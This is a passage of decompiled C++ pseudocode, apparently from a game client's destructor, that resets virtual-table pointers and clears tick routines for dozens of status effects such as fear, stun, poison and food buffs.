(AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KALBANDISEASE.astr_Tick); v1->asl_KALBANDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KALBANPOISON.astr_Tick); v1->asl_KALBANPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NATURALENEMY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAGENALBUF.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF7P.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF7PMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF10P.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF10PMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOLEFIRE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SOLEFIRE.astr_Tick); v1->asl_SOLEFIRE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_AGONYBELLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_AGONYWINE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGSUB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGSUB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGBUF.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB15.astr_Tick); v1->asl_FOODTYPEB15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB14.astr_Tick); v1->asl_FOODTYPEB14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB13.astr_Tick); v1->asl_FOODTYPEB13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB12.astr_Tick); v1->asl_FOODTYPEB12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB11.astr_Tick); v1->asl_FOODTYPEB11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB10.astr_Tick); v1->asl_FOODTYPEB10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB09.astr_Tick); v1->asl_FOODTYPEB09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB08.astr_Tick); v1->asl_FOODTYPEB08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB07.astr_Tick); v1->asl_FOODTYPEB07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB06.astr_Tick); v1->asl_FOODTYPEB06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB05.astr_Tick); v1->asl_FOODTYPEB05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB04.astr_Tick); v1->asl_FOODTYPEB04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB03.astr_Tick); v1->asl_FOODTYPEB03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB02.astr_Tick); v1->asl_FOODTYPEB02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB01.astr_Tick); v1->asl_FOODTYPEB01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB00.astr_Tick); v1->asl_FOODTYPEB00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA15.astr_Tick); v1->asl_FOODTYPEA15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA14.astr_Tick); v1->asl_FOODTYPEA14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA13.astr_Tick); v1->asl_FOODTYPEA13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA12.astr_Tick); v1->asl_FOODTYPEA12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA11.astr_Tick); v1->asl_FOODTYPEA11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA10.astr_Tick); v1->asl_FOODTYPEA10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA09.astr_Tick); v1->asl_FOODTYPEA09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA08.astr_Tick); v1->asl_FOODTYPEA08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA07.astr_Tick); v1->asl_FOODTYPEA07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA06.astr_Tick); v1->asl_FOODTYPEA06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA05.astr_Tick); v1->asl_FOODTYPEA05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA04.astr_Tick); v1->asl_FOODTYPEA04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA03.astr_Tick); v1->asl_FOODTYPEA03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA02.astr_Tick); v1->asl_FOODTYPEA02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA01.astr_Tick); v1->asl_FOODTYPEA01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA00.astr_Tick); v1->asl_FOODTYPEA00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP09.astr_Tick); v1->asl_FOODSP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP08.astr_Tick); v1->asl_FOODSP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP07.astr_Tick); v1->asl_FOODSP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP06.astr_Tick); v1->asl_FOODSP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP05.astr_Tick); v1->asl_FOODSP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP04.astr_Tick); v1->asl_FOODSP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP03.astr_Tick); v1->asl_FOODSP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP02.astr_Tick); v1->asl_FOODSP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP01.astr_Tick); v1->asl_FOODSP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP00.astr_Tick); v1->asl_FOODSP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP09.astr_Tick); v1->asl_FOODHP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP08.astr_Tick); v1->asl_FOODHP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP07.astr_Tick); v1->asl_FOODHP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP06.astr_Tick); v1->asl_FOODHP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP05.astr_Tick); v1->asl_FOODHP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP04.astr_Tick); v1->asl_FOODHP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP03.astr_Tick); v1->asl_FOODHP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP02.astr_Tick); v1->asl_FOODHP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP01.astr_Tick); v1->asl_FOODHP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP00.astr_Tick); v1->asl_FOODHP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; 